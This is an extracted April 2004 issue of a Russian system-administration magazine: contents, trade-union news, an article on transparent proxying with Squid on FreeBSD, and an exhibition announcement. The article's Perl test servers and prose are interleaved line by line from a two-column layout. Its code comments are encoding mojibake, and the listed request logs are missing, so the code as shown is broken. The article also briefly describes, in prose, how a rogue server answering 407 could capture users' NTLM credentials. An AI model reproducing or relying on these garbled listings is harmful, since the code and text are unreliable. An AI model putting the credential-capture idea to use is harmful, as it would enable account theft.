№4(17) апрель 2004

подписной индекс 81655

Transparent proxy. Быть или не быть?

Работа по расписанию во FreeBSD
Свободные утилиты forensic
NTP – атомные часы на каждом столе
Создание кластера
на базе Windows 2000/2003
Watchdog
Блочные шифры
Оптимизация сортировки в Perl
Автоматизация веб-проектов
через электронную почту
№4(17) апрель 2004
cover4(17)-vnut.p65 1 01.04.2004, 14:52
 оглавление

НОВОСТИ ПРОФСОЮЗА
Свободные утилиты forensic
Обзор утилит, предназначенных для поиска доказательств
Профсоюз IT-специалистов – взлома, а также применяемых для сохранения случайно
первые шаги или умышленно стертых данных.
2
Сергей Яремчук
АДМИНИСТРИРОВАНИЕ grinder@ua.fm 50

Transparent proxy. Быть или не быть? Блочные шифры

Статья посвящена проблемам прозрачного проксирова- Перспективы направления развития современной крип-
ния на примере популярного сервера Squid. тографии. Блок-схема и программная реализация симмет-
ричного алгоритма шифрования TEA.
Дмитрий Репин
cmapuk@comprice.ru 4 Станислав Гошко
bigafroelephant@mail.ru 64
Работа по расписанию во FreeBSD
ПРОГРАММИРОВАНИЕ
Сергей Супрунов
amsand@rambler.ru 10
Оптимизация сортировки в Perl
NTP – атомные часы на каждом столе Алексей Мичурин
Работа с протоколом NTP (Network Time Protoсol), пред- alexey@office-a.mtu-net.ru 70
назначенным для синхронизации времени в сети.

Михаил Платов WEB

platov@cs.vsu.ru 16
Автоматизация веб-проектов через
Создание кластера на базе электронную почту
Windows 2000/2003.
Шаг за шагом Игорь Тетерин
Руководство по созданию двухузлового кластера серве- keks_revda@uraltc.ru 76
ров с разделяемым хранилищем данных.

Геннадий Дмитриев
stranger03@mail.ru 22 ОБРАЗОВАНИЕ
В чем слабость твоя?
БЕЗОПАСНОСТЬ Альтернативы парольной защите.

Максим Костышин
Ошибки переполнения буфера Maxim_kostyshin@mail.ru 82
извне и изнутри как обобщенный опыт
реальных атак
Часть 2 HARDWARE
Крис Касперски
kk@sendmail.ru 30 Сторожевой пес
Тестирование устройства Watchdog, предназначенного
для мониторинга и восстановления работоспособности
Межсетевые экраны D-Link серверов после сбоя через принудительный перезапуск.

Михаил Гришунин Андрей Бешков

master@tayle.com 48 tigrisha@sysadmins.ru 88

№4(17), апрель 2004 1

 новости профсоюза
ПРОФСОЮЗ IT-СПЕЦИАЛИСТОВ
ПЕРВЫЕ ШАГИ
Организованный в декабре 2003 года профсоюз IT-спе-
циалистов, который объединил системных и сетевых ад-
министраторов, IT-менеджеров, всех, кто работает в сфе-
ре информационных технологий, в данный момент актив-
но развивается.
Что такое профсоюз? Зачем он нужен? Что мы от него
получим? Эти и другие вопросы очень часто поднимались
на страницах различных печатных изданий, обсуждались
в личной переписке и разговорах на форуме: http://
www.sysadmins.ru. Представитель Московской ППО Алек-
сей Костромин так рассказал о задачах, которые ставит
перед собой профсоюз:
У работников IT-индустрии много проблем (о них мно-
го раз писали на форуме: http://www.sysadmins.ru), решить
их все сразу невозможно. Мы выделили наиболее акту-
альные направления деятельности профсоюза на ближай-
шие два года:
! Поднять социальный статус IT-профессий в широком
смысле этого слова.
! Организовать собственный учебный центр с целью со-
вершенствования квалификации членов профсоюза.
! Активно помогать в трудоустройстве, ориентации по
карьере и переквалификации при необходимости.
! Оказывать максимально возможную юридическую под-
держку IT-специалистам.
! Принимать активное участие в государственных соци-
альных программах с целью получения льгот для пред-
ставителей IT-профессий.
! Работать над программой социального страхования
работников IT.
Сейчас уже заключены первые договора: с Межрегио-
нальным Союзом Страховщиков – по программе социаль-
ного страхования членов профсоюза; с юридической ком-
панией «ИТЛА» – по программе юридической поддержки
членов профсоюза, регистрируются первичные профсо-
юзные организации (ППО). Ведется работа по всем на-
правлениям.
Центральным аппаратом профсоюза (http://www.itcu.ru)
успешно проводится работа по привлечению крупных ком-
паний к сотрудничеству по реализации профсоюзных про-
грамм. Совместно с рядом учебных центров и ВУЗов под-
2
готовлена программа повышения квалификации членов
профсоюза. Юристы профсоюза уже не раз помогали на-
шим коллегам урегулировать различные спорные вопро-
сы.
Была проведена госрегистрация профсоюза (не обо-
шлось без некоторых казусов и недоразумений). Сейчас
отлаживается работа управленческого аппарата профсо-
юза, планируется инвестирование профсоюзных про-
грамм.
Несколько слов о работе первичных профсоюзных
организаций: Московская ППО (http://msk.itcu.ru) работа-
ет над созданием портала www.sysjob.ru. Этот проект пред-
назначен для поиска работы IT-специалистами, профес-
сиональных консультаций по вопросам Трудового законо-
дательства, социальной защиты и т. п. Уже есть догово-
ренности с несколькими кадровыми агентствами города.
Портал начнет свою работу в июле 2004 года.
ППО Санкт-Петербурга (http://spb.itcu.ru) ведёт работу
с Санкт-Петербургским Государственным Политехничес-
ким Университетом, готовит проведение первых учебных
семинаров в Петербурге, ведёт работу с Петербургскими
кадровыми агентствами в рамках развития программы
трудоустройства членов профсоюза.
Готовятся к регистрации ППО в Саратове, Сыктывка-
ре, Оренбурге. ППО может быть организована в любом
городе. Количество первичек в городе или регионе не ог-
раничено. При увеличении количества небольших ППО в
городе Правление может предложить им объединиться,
создав территориальную (региональную) первичную орга-
низацию. ППО регистрируется в качестве юридического
лица после рассмотрения ее документов Правлением
профсоюза (с перечнем документов можно ознакомиться
на сайте: http://www.itcu.ru). Достаточно иметь трех чело-
век в одном городе, и вы уже имеете право создать ППО,
которая может заниматься своими проектами, не проти-
воречащими целям Профсоюза в целом. Вы сможете зак-
лючать договора с компаниями в вашем регионе для наи-
лучшей реализации программ профсоюза.
Чтобы стать участником профсоюзного движения, до-
статочно ознакомиться с материалами: http://www.itcu.ru,
заполнить форму заявления и отправить ее по адресу:
reg@itcu.ru. Далее с вами свяжутся.
 администрирование
TRANSPARENT PROXY.
БЫТЬ ИЛИ НЕ БЫТЬ?
Весь текст этой статьи является исключительно личным
мнением автора и не претендует на сборник аксиом. Все
описанные в статье исследования и выводы также следу-
ет рассматривать через призму субьективности автора,
ибо, как говорили древние мудрецы, «Errare humanum est».
Также автор не несёт ответственности за любые действия
(и их последствия), произведённые читателем после про-
чтения этой статьи.
Лирическое отступление
Работа системного администратора неразрывно связана
с программированием. Только наличие знаний в области
разработки программ может помочь при решении проблем
с программным обеспечением, ибо анализ является час-
тью решения. Специалист обязан чётко представлять себе
внутренние механизмы работы системы, а это приходит
только с опытом в написании и, что более важно, моди-
фикации ПО.
Системы семейства UNIX-подобных являются величай-
шим источником знаний для самообразования и полиго-
ном для экспериментов. Открытость исходного кода сис-
темы и прикладного ПО, низкоуровневый доступ к на-
стройкам и их гибкость... – всё это позволяет глубже вник-
нуть в принципы работы компьютерных систем и сетей.
Кроме того, это позволяет создавать всевозможные не-
стандартные конфигурации привычного программного
обеспечения. Для чего это нужно? В первую очередь для
того, чтобы расширить возможности системы. Вторым
аргументом в пользу подобных «хирургических вмеша-
4
ДМИТРИЙ РЕПИН
тельств» в ПО является наличие различных ошибок при
разработке программного обеспечения.
Данная статья посвящена проблемам прозрачного про-
ксирования на примере популярного сервера Squid. В ка-
честве ОС использовалась стабильная версия FreeBSD 4.7.
Общие принципы прозрачного
проксирования
При работе прокси-сервера в прозрачном режиме (Trans-
parent mode) для веб-доступа пользователей в Интернет
не требуется настраивать браузер для взаимодействия с
прокси на каждом рабочем месте, а сами пользователи
могут вообще не знать о существовании прокси-сервера.
В таком режиме администраторы и техники получают
меньше вопросов и жалоб от пользователей по настрой-
ке пользовательского ПО.
Технически этот режим реализуется следующим обра-
зом. С помощью firewall все соединения на определённый
порт (в случае HTTP – порт 80) внешних серверов пере-
направляются на локальный порт прокси-сервера (обыч-
но – 3128).
По стандарту протокола HTTP 1.1 (RFC2616) каждый
запрос клиента должен содержать заголовок «Host», в ко-
тором указывается адрес сервера-получателя запроса.
Именно с помощью этого заголовка прокси-сервер опре-
деляет адресата и соединяется с ним. Что же касается
других популярных протоколов (FTP, HTTPS, и т. д.), то
такой возможности в них просто не предусмотрено. На
этой «весёлой ноте» можно начать описание проблем.
 администрирование
Авторизация last unless $_;
Авторизация на прокси-сервере позволяет производить $DATA.=$_."\n";
}
учёт работы и разграничение доступа в Интернет пользо-
вателей локальной сети, используя их имена (логины) # Çàïèñü çàïðîñà â ëîã-ôàéë
Log($DATA);
независимо от того, за каким компьютером находится
пользователь и какой адрес имеет данный компьютер. В # Òåïåðü ïðîñòàÿ ïðîâåðêà íà íàëè÷èå â çàïðîñå íóæíûõ
# çàãîëîâêîâ, îòïðàâêà ñîîòâåòñòâóþùåãî îòâåòà êëèåíòó
противном случае администратор имеет возможность кон- # è çàïèñü îòâåòîâ â ëîã-ôàéë.
тролировать работу сотрудников только на основе IP-ад- if($DATA !~/Proxy\-Authorization/){
Log(Response407());
ресов, что позволяет пользователям обходить ограниче- print CLIENT Response407();
ния. Таким образом, авторизация на прокси-сервере яв- }elsif($DATA !~/\012Authorization/){
Log(Response401());
ляется необходимым элементом инфраструктуры локаль- print CLIENT Response401();
ной сети. А теперь о грустном: авторизация на «прозрач- }else{
Log(Response200());
ном» прокси-сервере практически невозможна. Однако print CLIENT Response200();
подобное утверждение явно противоречит стандартам. }
print "Connection closed.\n";
Обратимся к первоисточнику – описанию протокола close CLIENT;
HTTP – документу RFC2616. По стандарту, HTTP-клиент # Çàêðûòèå òåêóùåãî ñîåäèíåíèÿ
}
при получении статуса-ответа сервера с кодом 407 (Proxy
Authentication Required) обязан отправить данные автори- # Çàêðûòèå ñîêåòà ñåðâåðà
close SERVER;
зации серверу. Для иллюстрации работы и для тестов ав-
тором был написан небольшой http-сервер на языке Perl, # Ñîñòàâëåíèå îòâåòîâ ñåðâåðà äëÿ óäîáñòâà âûíåñåíî
который выдавал нужные статусы и заголовки, а также # â îòäåëüíûå ôóíêöèè
писал лог запросов и ответов. sub Response401{
return "HTTP/1.1 401 Unauthorized$CR".
В результате работы сервера получение данных кли- "Server: squid/2.5.STABLE3$CR".
ентом будет происходить в 4 этапа: "Mime-Version: 1.0$CR".
"Content-Type: text/html$CR".
1. Клиент запрашивает документ, а сервер сообщает о "Content-Length: 20$CR".
необходимости Proxy-авторизации. "Expires: Wed, 26 Nov 2001 10:01:53 GMT$CR".
"WWW-Authenticate: Basic realm=\" --== Protected ↵
2. Клиент снова запрашивает документ, но уже с данны- web-Area ==--\"$CR".
ми авторизации на прокси. "Connection: close$CR$CR <h1>401 Unauth</h1>";
}
3. Для проверки работоспособности системы сервер про-
сит авторизоваться ещё и для Web – модель ситуации, sub Response407{
return "HTTP/1.1 407 Proxy Authentication Required$CR".
когда пользователь обращается к защищённому доку- "Server: squid/2.5.STABLE3$CR".
менту на удалённом сервере через прокси с авториза- "Mime-Version: 1.0$CR".
"Content-Type: text/html$CR".
цией. "Content-Length: 20$CR".
4. Клиент послушно авторизуется «вдвойне» – на прокси- "Expires: Wed, 26 Nov 2001 10:01:53 GMT$CR".
"Proxy-Authenticate: NTLM$CR".
сервере и веб-сервере. "Proxy-Authenticate: Basic realm=\" ↵
<-- 407 Protected Proxy-->\"$CR".
"Connection: close$CR$CR <h1>407 Unauth</h1>";
В качестве тестовых клиентов использовались бра- }
узеры Mozilla FireBird 0.6.1, Microsoft Internet Explorer sub Response200{
6.0.2800.1106 и Opera 6.05. return "HTTP/1.1 200 OK$CR".
Код тестового сервера: "Server: squid/2.5.STABLE3$CR".
"Mime-Version: 1.0$CR".
"Content-Type: text/html$CR".
#!/usr/bin/perl -w "Content-Length: 19$CR".
use strict; "Expires: Wed, 26 Nov 2001 10:01:53 GMT$CR".
use Socket; "Connection: close$CR$CR <h1>200 OK!!!</h1>";
}
# Ñîçäà¸òñÿ ñîêåò, ïðèâÿçûâàåòñÿ êî âñåì àäðåñàì (äëÿ óäîáñòâà)
# íà ïîðò 8080 è âêëþ÷àåòñÿ ïðîñëóøèâàíèå.
socket(SERVER,PF_INET,SOCK_STREAM,getprotobyname('tcp')); # Ôóíêöèÿ îïðåäåëåíèÿ àäðåñà, ïîðòà è èìåíè õîñòà êëèåíòà
setsockopt(SERVER,SOL_SOCKET,SO_REUSEADDR,1); sub remote{
bind(SERVER,sockaddr_in(8080,INADDR_ANY)); my $rem = shift;
listen(SERVER,SOMAXCONN); return undef unless $rem;
my ($port,$ip) = sockaddr_in($rem);
$|=1; return (inet_ntoa($ip),$port,gethostbyaddr($ip,AF_INET));
my $CR="\015\012"; }

# Ïðè¸ì âõîäÿùèõ ñîåäèíåíèé # Ôóíêöèÿ äëÿ çàïèñè â ôàéë ïðîòîêîëà

while (1){ sub Log{
# Ïðè¸ì êëèåíòà, îïðåäåëåíèå åãî àäðåñ/ïîðò/õîñò open(F,">>connection.log");
# è âûâîä íà ýêðàí (äëÿ îòëàäêè) print F scalar(localtime)."\n";
my $paddr = accept(CLIENT,SERVER); for(split/\n/,$_[0]){
my ($ip,$port,$name) = remote($paddr); print F "\t$_\n";
print "Connection from $ip:$port ($name)\n"; }
print F "\n//====//\n\n";
# ×òåíèå âñåãî çàïðîñà îò êëèåíòà â îäíó ïåðåìåííóþ close(F);
my $DATA; }
while(<CLIENT>){
chomp;
$_=~s/\r//g; Первый запрос браузера:

№4(17), апрель 2004 5

 администрирование
Сервер отвечает:
Теперь клиент авторизуется:
Для проверки последующей авторизации на удалён-
ном веб-сервере прокси-сервер просит авторизоваться:
Клиент отвечает правильно – с авторизацией и на про-
кси- и на веб-сервере:
Сервер сообщает, что всё в порядке:
Данный протокол на примере Mozilla FireBird 0.6.1 иллю-
стрирует вполне «законную» возможность использования ав-
торизации на прозрачном прокси-сервере. Возникает резон-
ный вопрос: почему в FAQ сервера Squid наличествует фра-
за «...proxy_auth can’t be used in a transparent proxy...»?
Для начала обратимся к исходным кодам Squid. Связь
между авторизацией и режимом работы сервера просле-
живается в двух файлах – acl.c и client_side.c. При анали-
зе кода становится ясно, что возможность использования
авторизации в данном случае просто игнорируется!
Участок исходного кода acl.c:
http_hdr_type headertype;
if (NULL == r) {
return -1;
} else if (!r->flags.accelerated) {
/* Proxy authorization on proxy requests */
headertype = HDR_PROXY_AUTHORIZATION;
} else if (r->flags.internal) {
/* WWW authorization on accelerated internal requests */
headertype = HDR_AUTHORIZATION;
} else {
#if AUTH_ON_ACCELERATION
/* WWW authorization on accelerated requests */
headertype = HDR_AUTHORIZATION;
#else
debug(28, 1) ("aclAuthenticated: authentication not ↵
applicable on accelerated requests.\n");
return -1;
#endif
6
Участок исходного кода client_side.c:
if (answer == ACCESS_REQ_PROXY_AUTH || ↵
aclIsProxyAuth(AclMatchedName)) {
if (!http->flags.accel) {
/* Proxy authorisation needed */
status = HTTP_PROXY_AUTHENTICATION_REQUIRED;
} else {
/* WWW authorisation needed */
status = HTTP_UNAUTHORIZED;
}
if (page_id == ERR_NONE)
page_id = ERR_CACHE_ACCESS_DENIED;
} else {
status = HTTP_FORBIDDEN;
if (page_id == ERR_NONE)
page_id = ERR_ACCESS_DENIED;
}
Подобная странность, обнаруженная в ходе исследо-
вания, ещё больше разогрела интерес автора к обсужда-
емому вопросу.
В связи с этим, естественно, исходный код сервера
претерпел изменения. Результатом явилась модифициро-
ванная версия сервера Squid с совместной работой авто-
ризации и прозрачного режима. Но...
В ходе дальнейшего исследования выяснилось, что по-
пулярнейший браузер Microsoft Internet Explorer неспосо-
бен следовать стандартам! Если в настройках этого кли-
ента явно не указано использование прокси-сервера, то
MSIE просто игнорирует обработку http-статуса 407 и вы-
даёт ошибку. Мало того, старые версии под Windows 9X
вообще «сыпятся» с критической ошибкой в библиотеке
WININET.DLL при получении вышеописанного статус-кода.
В связи с этим становится ясно, что использование
авторизации при прозрачном проксировании невозмож-
но. Ведь подавляющее большинство пользователей ра-
ботают именно с Microsoft Internet Explorer. Если в вашей
сети используются браузеры только на основе Mozilla, вы
можете модифицировать ваш сервер Squid-2.5.STABLE3
с помощью патчей, которые находятся по адресу http://
www.comprice.ru/cmapuk/squid_patch.tgz
В дополнение к вышесказанному стоит добавить, что
все нынешние браузеры, так или иначе, не полностью со-
блюдают стандарты. Например, HTTP-статус 305 (Use
Proxy), сообщающий клиенту о необходимости использо-
вать указанный в ответе прокси-сервер, игнорируется как
браузером Microsoft Internet Explorer, так и Mozilla FireBird
и Opera. Кроме того, браузер Opera (проверено на версии
6.05) не поддерживает NTLM-авторизацию, хотя статус-
код 407 обрабатывает правильно и легко авторизуется по
типу Basic.
Итак, в действительном существовании проблемы и
практической невозможности её решения теперь сомне-
ний нет. Однако остаётся неизвестной «политическая»
подоплёка несоблюдения стандартов. После некоторых
размышлений на эту тему автор статьи вывел гипотезу о
причине «нестандартности» MSIE как HTTP-клиента.
Если абсолютно стандартный браузер при получении
ответа сервера с кодом 407 отправляет данные для авто-
ризации, то эта информация может быть получена любым
третьим лицом. На примере это выглядит следующим об-
разом. Пользователь-злоумышленник настраивает веб-
сервер (внешний, либо в локальной сети) на ответ выше-

означенным кодом при любых запросах (это может быть
элементарный «самописный» сервер в 10-15 строк). Пос-
ле этого путём простейших приёмов социальной инжене-
рии пользователь-жертва заманивается в ловушку с це-
лью получить всего лишь один HTTP-сеанс между жерт-
вой и сервером злоумышленника. В результате «хакер»
получает данные авторизации пользователя (например,
данные NTLM-авторизации), что может повлечь за собой
несанкционированный доступ к информации со всеми вы-
текающими последствиями.
Принимая во внимание эту гипотезу, можно сделать
вывод, что игнорирование таких нужных и в то же время
опасных стандартных возможностей имеет под собой до-
вольно веские основания.
Множество протоколов
Как правило, в задачу прокси-сервера входит обслужива-
ние клиентов не только по протоколу HTTP, но и FTP и
HTTPS. Кроме того, часто возникает необходимость HTTP-
соединения по альтернативным портам (8000, 8080, и т. п.).
С этим связана вторая и, пожалуй, самая сложная про-
блема прозрачного проксирования – прокси-сервер Squid
в режиме прозрачности может обслуживать соединения
только по одному протоколу – HTTP.
В связи с тем, что решение данной проблемы являет-
ся отнюдь не тривиальным, эта часть статьи будет посвя-
щена рассмотрению причин данной проблемы и только
теоретических способов её решения.
Альтернативные HTTP-порты
Как уже было сказано в начале статьи, спецификация
протокола HTTP 1.1 предписывает клиенту включать в
запрос обязательный заголовок «Host». Этот заголовок
содержит имя сервера, которому адресован запрос. Та-
ким образом, для получения данных по адресу http://
www.server.info при прямом соединении минимальным
HTTP-запросом будет следующий:
GET / HTTP/1.1
Host: www.server.info
Если клиентское ПО адаптировано для работы через
прокси-сервер и настроено соответственно, то запрос бу-
дет выглядеть так:
GET http://www.server.info HTTP/1.1
Host: www.server.info
В случае если удалённый сервер обслуживает клиен-
тов по альтернативному порту, запрос через прокси будет
содержать информацию и об этом:
GET http://www.server.info:8080 HTTP/1.1
Host: www.server.info
При прямом соединении с удалённым сервером зап-
рос клиента не меняется в зависимости от порта и оста-
ётся таким же, как в первом примере. В результате при
работе в прозрачном режиме прокси-сервер не может оп-
ределить реальный порт удалённого сервера, к которому
обратился клиент, так как клиент вообще не подозревает
о существовании «посредника».
№4(17), апрель 2004
администрирование
Современные версии прокси-сервера Squid поддержи-
вают возможность определения хоста и порта с помощью
библиотек пакетных фильтров, таких как ipfilter в BSD-си-
стемах или netfilter в Linux. Для работы с этими библиоте-
ками при компиляции сервера необходимо указать соот-
ветствующие опции (--enable-ipf-transparent). После сбор-
ки сервера, ему будет доступна подробная информация о
соединении.
Участок кода client_side.c:
#if IPF_TRANSPARENT
natLookup.nl_inport = http->conn->me.sin_port;
natLookup.nl_outport = http->conn->peer.sin_port;
natLookup.nl_inip = http->conn->me.sin_addr;
natLookup.nl_outip = http->conn->peer.sin_addr;
Как может показаться, при таком подходе встаёт не-
обходимость использовать на firewall фильтрацию на ос-
нове ipfilter/ipnat и отказаться от ipfw. Однако для работы
Squid достаточно просто включить поддержку данного па-
кетного фильтра, а перенаправлять пакеты можно по-пре-
жнему с помощью ipfw.
Проксирование FTP и HTTPS
При обычном проксировании запросы клиента прокси-сер-
веру на получение файла с удалённого сервера по прото-
колу FTP выглядят так же, как и HTTP-запросы:
GET ftp://ftp.server.info HTTP/1.1
Host: ftp.server.info
Клиентом, реализующим этот протокол FTP, в данном
случае является сам прокси-сервер. Получив файл, про-
кси-сервер отвечает клиенту обычным HTTP-ответом и
возвращает данные.
Также клиент может «потребовать» от прокси-сервера
прямого соединения с удалённым хостом для обмена дан-
ными. Тогда запрос будет выглядеть так:
CONNECT ftp.server.info:21 HTTP/1.1
Host: ftp.server.info
Благодаря такому виду запросов посредник чётко по-
нимает поставленную перед ним задачу и выполняет её в
соответствии с рекомендациями системного администра-
тора в виде директив acl и http_access в конфигурацион-
ном файле.
Общение клиента с удалённым сервером по SSL-за-
щищённым протоколам всегда происходит по методу
CONNECT:
CONNECT secure.server.info:443 HTTP/1.1
Host: secure.server.info
При прямом соединении клиента с удалённым хостом
без посредников (а при прозрачном проксировании кли-
ент «считает» именно так) он сам реализует протоколы
прикладного уровня, такие как FTP и HTTP. В результа-
те прокси-сервер не может определить поставленную
перед ним задачу. При перенаправлении с помощью
firewall всех соединений к портам 21 и 443 на порт про-
кси (3128) последний получает в первом случае строку
«USER username», а во втором вообще набор несвязных
символов.
7
 администрирование
Решение данной проблемы требует «хирургического»
вмешательства в исходный код прокси-сервера Squid.
Задача модификации сервера состоит в том, чтобы «на-
учить» сервер становиться почти таким же посредником,
как при методе CONNECT, в зависимости от номера пор-
та запрашиваемого удалённого сервера.
Для демонстрации этой идеи напишем ещё один про-
стейший сервер:
#!/usr/bin/perl -w
use strict;
use Socket;
# Ëîêàëüíûé àäðåñ ìèíè-ïðîêñè
my $maddr = sockaddr_in(30021,inet_aton('localhost'));
# Äîïóñòèì ìû óæå çíàåì àäðåñ óäàë¸ííîãî FTP
my $paddr = sockaddr_in(21,inet_aton('ftp.freebsd.org'));
Теперь открываем браузер и пробуем зайти на ftp://
ftp.freebsd.org/ (естественно, без прокси-настроек). Резуль-
тат простейшего теста показывает, что прозрачное про-
ксирование по протоколам, отличным от HTTP, вполне воз-
можно. Теперь поставим уже конкретную задачу по моди-
фикации прокси-сервера Squid.
1. Добавить в возможности конфигурирования сервера
новую директиву (назовём её direct_port) следующего
формата:
direct_port PORT PROTOCOL
где PORT – конечный порт удалённого сервера;
PROTOCOL – протокол, по которому прокси-серверу
следует выступать посредником. Пример:

direct_port 21 FTP, direct_port 443 SSL

# Îòêðûâàåì ñîêåò äëÿ ïðîêñè-ñåðâåðà è íà÷èíàåì ïðîñëóøèâàòü
socket(SOCK,PF_INET,SOCK_STREAM,getprotobyname('tcp')) or die $!;
setsockopt(SOCK,SOL_SOCKET,SO_REUSEADDR,1) or die $!;
bind(SOCK,$maddr) or die $!; 2. Добавить к уже имеющейся «услуге» посредничества
listen(SOCK,SOMAXCONN); при методе CONNECT её модифицированную версию,
# Ïåðåõâàòûâàåì ñèãíàë PIPE в которой исключены вмешательства прокси-сервера
# Ýòîò ñèãíàë ïîÿâëÿåòñÿ ïðè ïîïûòêå ðàáîòû ñ çàêðûòûì ïîòîêîì в общение клиента и удалённого сервера лишними за-
$SIG{PIPE}=sub{
close(SERVER); головками.
close(CLIENT); 3. Установить контроль над новым типом соединения с
close(SOCK);
exit; помощью директив ACL.
}

$|=1; # îòêëþ÷àåì áóôåðèçàöèþ ïîòîêà STDOUT Решение этой задачи для исследователя, никогда не
участвовавшего в разработке прокси-сервера Squid, явля-
# Ïðèíèìàåì ïîäêëþ÷åíèÿ
while (accept(CLIENT,SOCK)){ ется весьма трудоёмким процессом. Посему у автора дан-
ной статьи на данный момент нет готового решения в виде
print "Connection detect.\n";
патчей и т. п. Однако, возможно, это исследование привле-
# Ñîåäèíÿåìñÿ ñ óäàë¸ííûì FTP чёт внимание энтузиастов (или самих разработчиков Squid)
socket(SERVER,PF_INET,SOCK_STREAM, ↵
getprotobyname('tcp')) or die $!; к вышеописанной проблеме и решение появится.
connect(SERVER,$paddr);
# Íà÷èíàåì îáìåí èíôîðìàöèåé
while(1){ Вывод
my $server=''; Исследование показало, что настоящее прозрачное прокси-
# Îòêëþ÷àåì áóôåðèçàöèþ ïîòîêîâ êëèåíòà
# è ñåðâåðà рование без ущерба для пользователей и администраторов –
select(CLIENT); $|=1; это реальность. Единственной серьёзной проблемой на пути
select(SERVER); $|=1;
select(STDOUT); к внедрению технологии прозрачного проксирования оста-
# Ïîêà ñåðâåð íå çàâåðøèë ïåðåäà÷ó ётся несоответствие стандартам браузера Microsoft Internet
# èäåíòèôèêàòîðîì ñòàòóñà ïðèíèìàåì âñå
# äàííûå, îòäà¸ì êëèåíòó, à çàîäíî âûâîäèì Explorer. Вполне возможно, что в будущем этот недостаток
# íà ýêðàí у MSIE исчезнет, если обратить внимание специалистов из
while($server !~/^\d{3}\s/){
$server=<SERVER>; Microsoft на данную проблему. В настоящий момент, а точ-
print CLIENT $server; нее, после того, как прокси-сервер Squid будет модифици-
print $server;
} рован, любая организация, в чьи корпоративные стандар-
# Ïðèíèìàåì êîìàíäó îò êëèåíòà è ïåðåäà¸ì ты не входит использование браузера MSIE, смогут полно-
# ñåðâåðó. Òàêæå âûâîäèì íà ýêðàí
my $client=<CLIENT>; ценно пользоваться прозрачным проксированием.
print SERVER $client; Ещё одна проблема, оставшаяся в тени, заключается в
print $client;
} том, что прокси-сервер может определить адрес удалённо-
close SERVER; го сервера, но не его имя. В связи с этим может возникнуть
close CLIENT;
} проблема с доступом по FTP и HTTPS на сервера с вирту-
close SOCK; альными доменами, которые часто используются на бес-
платных хостингах (и не только).
Добавляем в firewall правило перенаправления всех В заключение хотелось бы сказать хоть одну фразу от
запросов к 21-му порту на локальный порт 30021 и запус- первого лица. Я надеюсь, что проделанная работа не оста-
каем тестовый сервер. вит равнодушной общественность свободных разработчи-
ков к несовершенствам прикладного программного обес-
ipfw add 30002 fwd 127.0.0.1,30021 tcp from 192.168.0.0/24 ↵ печения и подтолкнёт любителей и профессионалов к но-
to any 21 via xl0
вым исследованиям.

8
 УНИКАЛЬНЫЕ СОБЫТИЯ
НА КОМПЬЮТЕРНОМ РЫНКЕ
Впервые организованная в 1989 году, выставка Неделя
Информационных Технологий «IT Week Russia», изве-
стная в прошлом как Comtek, за пятнадцать лет своего
существования пережила и взлеты и падения. В преды-
дущие годы в Неделю Информационных Технологий вхо-
дила выставка Сomtek, которая состояла из нескольких
направлений, и конференция E-Business. Развитие выс-
тавки в течение последних лет привело к необходимос-
ти выделить отдельные разделы в самостоятельные вы-
ставки. С этого года в Неделю Информационных Техно-
логий будут входить пять самостоятельных выставок и
две конференции. Этот шаг позволил расширить масш-
таб выставки, объединяющей все аспекты компьютер-
ного бизнеса, что, в свою очередь, дает возможность
привлечь к участию в выставке большее число компа-
ний, занятых во всех сферах индустрии информацион-
ных технологий.
Давид Патеишвили, директор выставки, сказал: «В
этом году мы расширили темы, представленные на экс-
позиции, которые теперь охватывают все области компь-
ютерной индустрии. Это дает превосходную возможность
и участникам, и посетителям выставки принять участие и
ознакомиться сразу с пятью выставками и двумя конфе-
ренциями, проходящими в одно время и в одном месте.
Это также позволит нам улучшить маркетинговую и рек-
ламную кампании для каждой из выставок и конферен-
ций, проходящих в рамках Недели Информационных Тех-
нологий, с учетом целевой аудитории, специфичной для
каждой из них. Хочется добавить, что некоторые выстав-
ки, которые будут проходить в рамках Недели Информа-
ционных технологий, не имеют аналогов в России, явля-
ясь тем самым уникальными».
В рамках Недели Информационных Технологий прой-
дут следующие выставки и конференции:
1. Personal Computing Expo – общая, неспециализиро-
ванная выставка, ориентированная на конечных
пользователей. В ней представлены производители и
дистрибьюторы персональных компьютеров и перифе-
рии, компьютерных игр, дистрибьюторы сотовой тех-
ники и портативных компьютеров, интернет- и контент-
провайдеры и многие другие.
2. Hardware & Peripherals Expo – специализированная
выставка, на которой представлены: компьютеры, мо-
ниторы, периферийные устройства, комплектующие,
накопители, коммуникационное оборудование и услу-
ги, т.е. весь спектр hardware, ориентированного на ве-
дение бизнеса.
3. Международная конференция eLearning Russia (Инфор-
мационные технологии в образовании), на которой бу-
дут освещены последние достижения образовательных
технологий в школах, вузах, а также рассмотрены воп-
росы дистанционного и бизнес-образования.
№4(17), апрель 2004
4. Software Expo – специализированная выставка, ори-
ентированная на программные продукты для систем
бухгалтерского и складского учета, комплексного ПО
управления предприятием, систем управления доку-
ментооборотом, систем распознавания документов,
разработку ПО, защиту информации. В рамках этой
выставки будет подготовлен цикл тематических семи-
наров, посвященных актуальным вопросам в области
разработки экономических программ и систем управ-
ления бизнесом.
5. Специализированная выставка CAD/CAM/CAE пред-
ставляет системы автоматизированного проектиро-
вания. Для большинства российских производителей
необходимость использования САПР для оптимиза-
ции работы предприятия стала очевидной. Особенно
ярко это проявляется в таких отраслях, как авиастро-
ение, автомобилестроение, тяжелое машиностроение,
архитектура, строительство, нефтегазовая промыш-
ленность.
6. eLearn Expo – специализированная выставка, на ко-
торой будут демонстрироваться новейшие продукты
и технологии в сфере электронного обучения, пред-
назначенные для коллективного и индивидуального
пользования. Дистанционное обучение через сети
Internet и Intranet, получившее широкое распростра-
нение в развитых странах, становится все более ак-
туальным и для России.
7. eBusiness Russia (Электронный бизнес в России) –
международная конференция, посвященная вопросам
автоматизации бизнес-процессов, развития электрон-
ной коммерции, подбора ИТ-персонала.
Выставка IT-week остается ведущей международной
выставкой информационных технологий в России и стра-
нах СНГ. Это уникальное место для проведения перего-
воров с первыми лицами сразу нескольких крупных фирм-
поставщиков оборудования и решений. Практически все
крупные западные вендоры присутствуют на выставке не-
посредственно или при посредстве своих российских парт-
неров.
В соответствии с растущими потребностями рынка и
увеличением числа участников экспозиция расширила
площадь, которая в этом году составит 8 000 кв. м. В выс-
тавках, которые пройдут в течение 4 дней, примут учас-
тие 250 ведущих компаний отрасли из 25 стран мира.
Ожидается, что число посетителей выставки превысит
75 000 человек, включая руководителей верхнего и сред-
него звена, технических специалистов и IT-администра-
торов, из более 500 городов России и СНГ.
«IT Week 2004», 15-ая Международная Выставка Ин-
формационных Технологий пройдет в «Экспоцентре» на
